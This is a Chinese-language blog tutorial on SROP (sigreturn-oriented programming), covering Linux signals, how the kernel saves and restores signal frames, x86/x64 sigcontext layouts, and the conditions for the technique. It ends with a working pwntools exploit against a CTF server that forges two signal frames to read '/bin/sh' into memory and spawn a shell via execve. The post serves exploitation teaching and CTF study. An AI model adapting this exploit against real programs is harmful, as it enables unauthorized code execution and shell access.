18 Feb 2020

SROP

SROP

Framing Signals — A Return to Portable Shellcode

srop-slides

signal

先学洋文

算了⑧学了,signal就是信号

基本概念

signal,软中断信号,简称信号,用来通知进程发生了异步事件

用户态进程之间互相发送信号,内核也可以给进程发送信号,通知进程发生了某个事件

信号只通知进程发生了某个事件,不会传递数据

进程对信号的处理方法有三类

  1. 捕捉信号,执行信号处理函数
  2. 忽略信号
  3. 执行缺省信号,大部分的操作是使进程终止

信号类型

常规信号:1-31

实时信号:32-64

SIGHUP       1          /* Hangup (POSIX).  */                          终止进程     终端线路挂断
SIGINT       2          /* Interrupt (ANSI).  */                        终止进程     中断进程 Ctrl+C
SIGQUIT      3          /* Quit (POSIX).  */                            建立CORE文件终止进程,并且生成core文件 Ctrl+\
SIGILL       4          /* Illegal instruction (ANSI).  */              建立CORE文件,非法指令
SIGTRAP      5          /* Trace trap (POSIX).  */                      建立CORE文件,跟踪自陷
SIGABRT      6          /* Abort (ANSI).  */
SIGIOT       6          /* IOT trap (4.2 BSD).  */                      建立CORE文件,执行I/O自陷
SIGBUS       7          /* BUS error (4.2 BSD).  */                     建立CORE文件,总线错误
SIGFPE       8          /* Floating-point exception (ANSI).  */         建立CORE文件,浮点异常
SIGKILL      9          /* Kill, unblockable (POSIX).  */               终止进程     杀死进程
SIGUSR1      10         /* User-defined signal 1 (POSIX).  */           终止进程     用户定义信号1
SIGSEGV      11         /* Segmentation violation (ANSI).  */           建立CORE文件,段非法错误
SIGUSR2      12         /* User-defined signal 2 (POSIX).  */           终止进程     用户定义信号2
SIGPIPE      13         /* Broken pipe (POSIX).  */                     终止进程     向一个没有读进程的管道写数据
SIGALARM     14         /* Alarm clock (POSIX).  */                     终止进程     计时器到时
SIGTERM      15         /* Termination (ANSI).  */                      终止进程     软件终止信号
SIGSTKFLT    16         /* Stack fault.  */
SIGCLD       SIGCHLD    /* Same as SIGCHLD (System V).  */
SIGCHLD      17         /* Child status has changed (POSIX).  */        忽略信号     当子进程停止或退出时通知父进程
SIGCONT      18         /* Continue (POSIX).  */                        忽略信号     继续执行一个停止的进程
SIGSTOP      19         /* Stop, unblockable (POSIX).  */               停止进程     非终端来的停止信号
SIGTSTP      20         /* Keyboard stop (POSIX).  */                   停止进程     终端来的停止信号 Ctrl+Z
SIGTTIN      21         /* Background read from tty (POSIX).  */        停止进程     后台进程读终端
SIGTTOU      22         /* Background write to tty (POSIX).  */         停止进程     后台进程写终端
SIGURG       23         /* Urgent condition on socket (4.2 BSD).  */    忽略信号     I/O紧急信号
SIGXCPU      24         /* CPU limit exceeded (4.2 BSD).  */            终止进程     CPU时限超时
SIGXFSZ      25         /* File size limit exceeded (4.2 BSD).  */      终止进程     文件长度过长
SIGVTALRM    26         /* Virtual alarm clock (4.2 BSD).  */           终止进程     虚拟计时器到时
SIGPROF      27         /* Profiling alarm clock (4.2 BSD).  */         终止进程     统计分布图用计时器到时
SIGWINCH     28         /* Window size change (4.3 BSD, Sun).  */       忽略信号     窗口大小发生变化
SIGPOLL      SIGIO      /* Pollable event occurred (System V).  */
SIGIO        29         /* I/O now possible (4.2 BSD).  */              忽略信号     描述符上可以进行I/O
SIGPWR       30         /* Power failure restart (System V).  */
SIGSYS       31         /* Bad system call.  */
SIGUNUSED    31

信号发送

  • kill() kill(int pid, int signal);

    pid为进程号,singnal为信号值

    pid>0:进程的ID为pid的进程

    pid=0:同一个进程组

    pid<0 && pid!=-1:进程组ID为pid绝对值的所有进程 pid=-1:发送至所有ID大于1的进程

    kill常用于pid>0的信号处理,调用成功返回0,否则返回-1

  • alarm

    alarm(unsigned int seconds)

    专门为SIGALRM信号设置,seconds表示时间,在seconds秒后发送SIGALRM信号

    进程调用alarm后,以前的alarm()调用都将无效。若调用alarm()前,进程中已经设置了闹钟,则返回上一个闹钟生于的时间,否则返回0

  • raise()

    raise(int signal);

    向本进程发送signal信号的,signal为即将发送的信号值

    调用成功返回0,否则返回-1

  • setitimer()

    int setitimer(int which, const struct itimerval *value, struct itimerval *ovalue));

    struct itimerval 
    {
     struct timeval it_interval;//间隔时间
     struct timeval it_value;   //初始时间
     };  
    ​
    struct timeval 
      {
        long tv_sec;    //秒
        long tv_usec;   //微妙
      };   
    

SROP原理

当内核向某个进程发出一个信号

  1. 该进程会被暂时挂起,进入内核,内核为该进程保存上下文
  2. 跳转到signal handler中处理信号
  3. signal handler返回
  4. 内核为进程恢复上下文,恢复进程的执行

ProcessOfSignalHandlering

内核为进程保存上下文,是将所有寄存器压栈,然后压入signal信息和指向sigreturn系统调用的地址

栈是用户进程的栈,在执行完signal handler后,就执行sigreturn系统调用,为进程恢复上下文,将压入的寄存器pop回去

1

ucontext和siginfo称作Signal Frame

x86中

struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};

x64中

struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

如果可以控制程序执行sigreturn系统调用,并且伪造Signal Frame,就可以控制程序执行流程

基本操作

条件

  1. 有栈溢出等漏洞可以控制栈的内容
  2. gadgets好使,能搞出来sigreturn(32位系统调用号为77,64 位为15)
  3. 栈能放得下Signal Frame

操作

sigreturn系统调用放到返回地址,后面跟上Signal Frame

pwntools中SigreturnFrame()挺好使

from pwn import *
r = remote('pwn.buuoj.cn', 20154)
context.arch = 'amd64'
syscall_ret = 0x400517
mov_rax_15 = 0x4004DA
sigreturn = p64(mov_rax_15) + p64(syscall_ret)
  
fuck = SigreturnFrame()
fuck.rdi = 0
fuck.rsi = 0x601000
fuck.rdx = 1000
fuck.rax = 0
fuck.rsp = 0x601050
fuck.rip = syscall_ret
payload = 'a'*0x10 + sigreturn + str(fuck)
r.sendline(payload)
  
wdnmd = SigreturnFrame()
wdnmd.rdi = 0x601000
wdnmd.rsi = 0
wdnmd.rdx = 0
wdnmd.rax = 59
wdnmd.rsp = 0x601050
wdnmd.rip = syscall_ret
payload = '/bin/sh'.ljust(0x50,'\x00')+sigreturn+str(wdnmd)
r.sendline(payload)
  
r.interactive()

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).